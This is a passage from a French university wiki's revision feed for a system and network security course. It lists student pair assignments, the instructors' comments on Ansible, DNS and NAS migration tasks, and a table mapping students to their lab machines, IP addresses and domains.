| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3611) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;fennec.pics name server ns.fennec.pics.&amp;lt;br /&amp;gt;fennec.pics name server ns.castor-canard.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.fennec.pics&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3612) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;castor-canard.lol name server ns.castor-canard.lol.&amp;lt;br /&amp;gt;castor-canard.lol name server ns.fennec.pics.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.castor-canard.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5289</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5289"/>
		<updated>2024-02-14T15:06:44Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| 192.168.7.2|| aigle.lol|| heterodontosaurus|| 193.48.57.185|| Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil||14.14.14.10&lt;br /&gt;
| chevreuil.lol|| spinosaure|| 193.48.57.179|| Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| 14.14.14.11|| belette.lol|| spinosaure|| 193.48.57.179|| Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.181|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.181|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.182|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.182||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| 10.10.10.5|| munchkin.site|| trex|| 193.48.57.183|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| 12.12.12.17|| ecureuil.pics|| velociraptor|| 193.48.57.184|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| 10.10.10.6|| siamois.site|| trex|| 193.48.57.183|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| 12.12.12.18|| lynx.pics|| velociraptor|| 193.48.57.184|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| 192.168.7.3|| nyala.website|| heterodontosaurus|| 193.48.57.185|| Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| 192.168.10.3|| tigre.lol|| smilodon|| 193.48.57.180|| Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| 10.10.10.10|| ornithorynque.lol|| pteranodon|| 193.48.57.187||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| 10.10.10.18|| axolotl.lol|| plesiosaurus|| 193.48.57.186|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| 10.10.10.11|| caribou.lol|| pteranodon|| 193.48.57.187|| Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| 192.168.10.2|| panthere.lol|| smilodon|| 193.48.57.180||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| 10.10.10.14|| singe.lol || mosasaurus|| 193.48.57.188|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| 10.10.10.12|| loutre.lol|| mosasaurus|| 193.48.57.188|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 11.11.11.21|| fennec.pics|| triceratops|| 193.48.57.189|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 11.11.11.20|| castor-canard.lol|| triceratops|| 193.48.57.189|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
